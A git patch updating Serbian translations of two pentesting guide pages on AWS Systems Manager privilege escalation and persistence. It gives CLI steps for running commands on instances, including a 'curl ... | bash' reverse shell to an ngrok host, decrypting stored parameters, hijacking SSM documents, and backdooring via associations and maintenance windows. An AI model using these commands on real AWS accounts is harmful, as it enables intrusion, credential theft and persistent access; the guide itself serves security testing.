From fc86842842ccb0c7366bb745440d26bf4b354090 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 21 Apr 2026 08:24:39 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-ssm-persistence/README.md | 56 ++++++++++- .../aws-ssm-privesc/README.md | 95 ++++++++++++++----- 2 files changed, 125 insertions(+), 26 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md index 3867f8300..99089514e 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md @@ -4,7 +4,7 @@ ## SSM -Za više informacija pogledajte: +Za više informacija pogledaj: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -12,7 +12,7 @@ Za više informacija pogledajte: ### Using ssm:CreateAssociation for persistence -Napadač sa dozvolom **`ssm:CreateAssociation`** može kreirati State Manager Association koja automatski izvršava komande na EC2 instancama kojima upravlja SSM. Ove associations mogu se konfigurisati da se pokreću u fiksnim intervalima, što ih čini pogodnim za backdoor-like persistence bez interaktivnih sesija. +Napadač sa dozvolom **`ssm:CreateAssociation`** može da kreira State Manager Association kako bi automatski izvršavao komande na EC2 instancama kojima upravlja SSM. Ove association mogu da se konfigurišu da se pokreću u fiksnom intervalu, što ih čini pogodnim za persistence nalik backdoor-u bez interaktivnih sesija. ```bash aws ssm create-association \ --name SSM-Document-Name \ @@ -22,6 +22,56 @@ aws ssm create-association \ --association-name association-name ``` > [!NOTE] -> Ovaj metod perzistencije radi sve dok je EC2 instanca upravljana od strane Systems Manager, SSM agent radi, i napadač ima dozvolu za kreiranje associations. Ne zahteva interaktivne sesije niti eksplicitne `ssm:SendCommand` dozvole. **Važno:** Parametar `--schedule-expression` (npr. `rate(30 minutes)`) mora poštovati minimalni interval AWS-a od 30 minuta. Za neposredno ili jednokratno izvršenje, potpuno izostavite `--schedule-expression` — association će se izvršiti jednom nakon kreiranja. +> Ovaj method persistence radi sve dok je EC2 instance managed by Systems Manager, SSM agent radi, i attacker ima permission da create associations. Ne zahteva interactive sessions ili explicit ssm:SendCommand permissions. **Important:** Parametar `--schedule-expression` (npr. `rate(30 minutes)`) mora da poštuje AWS minimum interval od 30 minutes. Za immediate ili one-time execution, izostavite `--schedule-expression` potpuno — association će se izvršiti jednom nakon creation. + +### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`) + +Attacker sa permissions **`ssm:UpdateDocument`** i **`ssm:UpdateDocumentDefaultVersion`** može da eskalira privileges modifikovanjem existing documents. Ovo takođe omogućava persistence unutar tog document. Praktično, attacker bi takođe morao da ima **`ssm:ListDocuments`** da bi dobio nazive za custom documents i ako attacker želi da obfuscate svoj payload unutar existing document **`ssm:GetDocument`** bi takođe bio necessary. +```bash +aws ssm list-documents +aws ssm get-document --name "target-document" --document-format YAML +# You will need to specify the version you're updating +aws ssm update-document \ +--name "target-document" \ +--document-format YAML \ +--content "file://doc.yaml" \ +--document-version 1 +aws ssm update-document-default-version --name "target-document" --document-version 2 +``` +Ispod je primer dokumenta koji može da se koristi za overwrite postojećeg document. Treba da obezbedite da se tip vašeg document poklapa sa tipom target document kako biste izbegli issues sa innvocation. Dokument ispod će, na primer, the **`ssm:SendCommand`** i **`ssm:CreateAssociation`** examples. +```yaml +schemaVersion: '2.2' +description: Execute commands on a Linux instance. +parameters: +commands: +type: StringList +description: "The commands to run." +displayType: textarea +mainSteps: +- action: aws:runShellScript +name: runCommands +inputs: +runCommand: +- "id > /tmp/pwn_test.txt" +``` +### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`) + +Napadač sa permisijama **`ssm:RegisterTaskWithMaintenanceWindow`** i **`ssm:RegisterTargetWithMaintenanceWindow`** može da eskalira privilegije tako što prvo registruje novi target sa postojećim maintenance window, a zatim ažurira registraciju novog task-a. Time se postiže execution na postojećim target-ima, ali napadač može da kompromituje compute sa različitim role-ovima registracijom novih target-a. Ovo takođe omogućava persistence jer se maintenance window task-ovi izvršavaju u unapred definisanom intervalu tokom kreiranja window-a. U praksi, napadaču bi takođe bila potrebna **`ssm:DescribeMaintenanceWindows`** da bi dobio maintenance window ID-jeve. +``` bash +aws ec2 describe-instances +aws ssm describe-maintenance-window +aws ssm register-target-with-maintenance-window \ +--window-id "" \ +--resource-type "INSTANCE" \ +--targets "Key=InstanceIds,Values=" +aws ssm register-task-with-maintenance-window \ +--window-id "" \ +--task-arn "AWS-RunShellScript" \ +--task-type "RUN_COMMAND" \ +--targets "Key=WindowTargetIds,Values=" \ +--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \ +--max-concurrency 50 \ +--max-errors 100 +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md index 8fd825260..21d2c3a73 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md @@ -4,7 +4,7 @@ ## SSM -Za više informacija o SSM pogledajte: +Za više informacija o SSM proverite: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,7 +12,7 @@ Za više informacija o SSM pogledajte: ### `ssm:SendCommand` -Napadač sa dozvolom **`ssm:SendCommand`** može **izvršavati komande na instancama** koje pokreću Amazon SSM Agent i **kompromitovati IAM Role** koja se u njima izvršava. +Napadač sa dozvolom **`ssm:SendCommand`** može **izvršavati komande na instance-ima** koji pokreću Amazon SSM Agent i **kompromitovati IAM Role** koja se izvršava unutar njih. ```bash # Check for configured instances aws ssm describe-instance-information @@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` -Ako koristite ovu tehniku da biste izvršili escalate privileges unutar već kompromitovanog EC2 instance, možete jednostavno capture rev shell lokalno pomoću: +U slučaju da koristiš ovu tehniku za eskalaciju privilegija unutar već kompromitovane EC2 instance, možeš jednostavno lokalno uhvatiti rev shell sa: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance @@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` -**Potencijalni uticaj:** Direktan privesc na EC2 IAM roles pridružene pokrenutim instancama sa SSM Agents. +**Potencijalni uticaj:** Direktan privesc do EC2 IAM role-ova prikačenih na pokrenute instance sa pokrenutim SSM Agent-ovima. ### `ssm:StartSession` -Napadač koji ima dozvolu **`ssm:StartSession`** može **pokrenuti SSH-sličnu sesiju na instancama** koje koriste Amazon SSM Agent i **kompromitovati IAM Role** koja se u njima izvršava. +Napadač sa permisijom **`ssm:StartSession`** može **pokrenuti SSH-like sesiju na instance** koje pokreću Amazon SSM Agent i **kompromitovati IAM Role** koja se unutra izvršava. ```bash # Check for configured instances aws ssm describe-instance-information @@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active aws ssm start-session --target "$INSTANCE_ID" ``` > [!CAUTION] -> Da biste započeli sesiju, potrebno je da imate instaliran **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) - -**Potencijalni uticaj:** Direktan privesc na EC2 IAM role pridružene pokrenutim instancama sa SSM Agentima. +> Da biste pokrenuli session, potrebno je da je instaliran **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) -#### Privesc na ECS +**Potential Impact:** Direktan privesc do EC2 IAM roles prikačenih na pokrenute instance sa SSM Agents koji rade. -Kada **ECS tasks** rade sa **`ExecuteCommand` enabled** korisnici sa dovoljnim privilegijama mogu koristiti `ecs execute-command` da **izvrše komandu** unutar kontejnera.\ -Prema [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) ovo se radi kreiranjem sigurnog kanala između uređaja koji koristite da pokrenete “_exec_“ komandu i ciljanog kontejnera pomoću SSM Session Manager. (SSM Session Manager Plugin neophodan da ovo radi)\ -Stoga, korisnici sa `ssm:StartSession` biće u stanju da **dobiju shell unutar ECS tasks** sa tom opcijom omogućenim jednostavnim pokretanjem: +#### Privesc to ECS + +Kada **ECS tasks** rade sa omogućenim **`ExecuteCommand`**, korisnici sa dovoljno permissions mogu da koriste `ecs execute-command` da **izvrše command** unutar container-a.\ +Prema [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) ovo se radi tako što se kreira secure channel između uređaja koji koristite da inicirate “_exec_“ command i target container-a uz SSM Session Manager. (SSM Session Manager Plugin neophodan za ovo da radi)\ +Zato će korisnici sa `ssm:StartSession` moći da **dobiju shell unutar ECS tasks** sa tom opcijom omogućenoj, samo pokretanjem: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` ![](<../../../images/image (185).png>) -**Potencijalni uticaj:** Direct privesc na `ECS`IAM roles pridružene pokrenutim tasks sa `ExecuteCommand` omogućenim. +**Potential Impact:** Direct privesc to the `ECS`IAM roles attached to running tasks with `ExecuteCommand` enabled. ### `ssm:ResumeSession` -Napadač sa dozvolom **`ssm:ResumeSession`** može re-**start a SSH like session in instances** koje pokreću Amazon SSM Agent kada je SSM session state **disconnected** i tako može **compromise the IAM Role** koja se izvršava unutar nje. +Napadač sa dozvolom **`ssm:ResumeSession`** može da ponovo **pokrene SSH-like sesiju na instance** koje pokreću Amazon SSM Agent sa **prekinutim** SSM session state-om i da **kompromituje IAM Role** koja se unutar nje izvršava. ```bash # Check for configured instances aws ssm describe-sessions @@ -72,11 +72,11 @@ aws ssm describe-sessions aws ssm resume-session \ --session-id Mary-Major-07a16060613c408b5 ``` -**Potencijalni uticaj:** Direktan privesc do EC2 IAM roles pridruženih pokrenutim instancama sa aktivnim SSM Agents i prekinutim sesijama. +**Potencijalni uticaj:** Direktan privesc ka EC2 IAM rolama zakačenim za pokrenute instance sa pokrenutim SSM Agentima i isključenim sesijama. ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -Napadač sa pomenutim permisijama moći će da izlista **SSM parameters** i **pročita ih u čistom tekstu**. U tim parametrima često možete **naći osetljive informacije** kao što su SSH keys ili API keys. +Napadač sa pomenutim permisijama moći će da izlista **SSM parameter** i da ih **čita u clear-text-u**. U ovim parametrima često možete **pronaći osetljive informacije** kao što su SSH ključevi ili API ključevi. ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" @@ -87,15 +87,15 @@ aws ssm get-parameter --name id_rsa --with-decryption ### `ssm:ListCommands` -Napadač sa ovom dozvolom može da nabroji sve poslate **commands** i, po mogućnosti, pronađe **osetljive informacije** u njima. +Napadač sa ovom dozvolom može da izlista sve **komande** koje su poslate i, nadamo se, pronađe **osetljive informacije** u njima. ``` aws ssm list-commands ``` -**Potencijalni uticaj:** Pronalazak osetljivih informacija unutar komandnih linija. +**Potencijalni uticaj:** Pronaći osetljive informacije unutar command lines. ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -Napadač sa ovim dozvolama može da navede sve poslate **komande** i da **pročita generisani izlaz**, nadajući se da će pronaći **osetljive informacije** u njima. +Napadač sa ovim dozvolama može da izlista sve **commands** koje su poslate i da **pročita output** koji je generisan, nadajući se da će pronaći **osetljive informacije** u njemu. ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands @@ -103,11 +103,11 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` -**Potencijalni uticaj:** Pronalaženje osetljivih informacija u izlazu komandnih linija. +**Potencijalni uticaj:** Pronađi osetljive informacije unutar izlaza komandnih linija. ### Using ssm:CreateAssociation -Napadač sa dozvolom **`ssm:CreateAssociation`** može kreirati State Manager Association da automatski izvršava komande na EC2 instancama kojima upravlja SSM. Ove asociacije se mogu konfigurisati da se pokreću u fiksnim intervalima, što ih čini pogodnim za backdoor-like persistence bez interaktivnih sesija. +Napadač sa dozvolom **`ssm:CreateAssociation`** može da kreira State Manager Association kako bi automatski izvršavao komande na EC2 instancama kojima upravlja SSM. Ove association mogu da se konfigurišu da se pokreću u fiksnom intervalu, što ih čini pogodnim za backdoor-like persistence bez interaktivnih sesija. ```bash aws ssm create-association \ --name SSM-Document-Name \ @@ -117,11 +117,60 @@ aws ssm create-association \ --association-name association-name ``` > [!NOTE] -> Ovaj metod persistencije funkcioniše sve dok je EC2 instanca pod upravom Systems Manager, SSM agent je pokrenut, i napadač ima dozvolu za kreiranje associations. Ne zahteva interaktivne sesije niti eksplicitne ssm:SendCommand dozvole. **Važno:** parametar `--schedule-expression` (npr. `rate(30 minutes)`) mora poštovati AWS-ov minimalni interval od 30 minuta. Za trenutnu ili jednokratnu izvršavanje, potpuno izostavite `--schedule-expression` — association će se izvršiti jednom nakon kreiranja. +> Ovaj metod persistence radi sve dok je EC2 instance upravljana od strane Systems Manager-a, SSM agent radi, i napadač ima dozvolu da kreira associations. Ne zahteva interaktivne sesije niti eksplicitne ssm:SendCommand dozvole. **Važno:** parametar `--schedule-expression` (npr. `rate(30 minutes)`) mora poštovati AWS-ov minimalni interval od 30 minuta. Za trenutno ili jednokratno izvršavanje, potpuno izostavite `--schedule-expression` — association će se izvršiti jednom nakon kreiranja. +### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`) + +Napadač sa permissions **`ssm:UpdateDocument`** i **`ssm:UpdateDocumentDefaultVersion`** može da eskalira privileges modifikovanjem postojećih documents. Ovo takođe omogućava persistence unutar tog document-a. U praksi bi napadaču takođe bio potreban **`ssm:ListDocuments`** da dobije nazive za custom documents, a ako napadač želi da obfuskira svoj payload unutar postojećeg dokumenta, **`ssm:GetDocument`** bi takođe bio neophodan. +```bash +aws ssm list-documents +aws ssm get-document --name "target-document" --document-format YAML +# You will need to specify the version you're updating +aws ssm update-document \ +--name "target-document" \ +--document-format YAML \ +--content "file://doc.yaml" \ +--document-version 1 +aws ssm update-document-default-version --name "target-document" --document-version 2 +``` +Ispod je primer dokumenta koji se može koristiti za prepisivanje postojećeg dokumenta. Želećeš da osiguraš da se tvoj tip dokumenta poklapa sa tipom ciljnih dokumenata kako bi se izbegli problemi sa invocation. Dokument ispod, na primer, pokriva **`ssm:SendCommand`** i **`ssm:CreateAssociation`** primere. +```yaml +schemaVersion: '2.2' +description: Execute commands on a Linux instance. +parameters: +commands: +type: StringList +description: "The commands to run." +displayType: textarea +mainSteps: +- action: aws:runShellScript +name: runCommands +inputs: +runCommand: +- "id > /tmp/pwn_test.txt" +``` +### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`) + +Napadač sa permissions **`ssm:RegisterTaskWithMaintenanceWindow`** i **`ssm:RegisterTargetWithMaintenanceWindow`** može da eskalira privileges tako što prvo registruje novi target sa postojećim maintenance window, a zatim ažurira registruje novi task. Time se postiže execution nad postojećim targetima, ali može omogućiti napadaču da kompromituje compute sa različitim roles tako što registruje nove targete. Ovo takođe omogućava persistence jer se maintenance windows tasks izvršavaju na unapred definisanom intervalu tokom kreiranja window. U praksi, napadaču bi takođe bio potreban **`ssm:DescribeMaintenanceWindows`** da bi dobio maintenance window IDs. +``` bash +aws ec2 describe-instances +aws ssm describe-maintenance-window +aws ssm register-target-with-maintenance-window \ +--window-id "" \ +--resource-type "INSTANCE" \ +--targets "Key=InstanceIds,Values=" +aws ssm register-task-with-maintenance-window \ +--window-id "" \ +--task-arn "AWS-RunShellScript" \ +--task-type "RUN_COMMAND" \ +--targets "Key=WindowTargetIds,Values=" \ +--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \ +--max-concurrency 50 \ +--max-errors 100 +``` ### Codebuild -Možete takođe koristiti SSM da uđete u codebuild projekat koji se gradi: +Takođe možeš koristiti SSM da uđeš u codebuild projekat koji se gradi: {{#ref}} ../aws-codebuild-privesc/README.md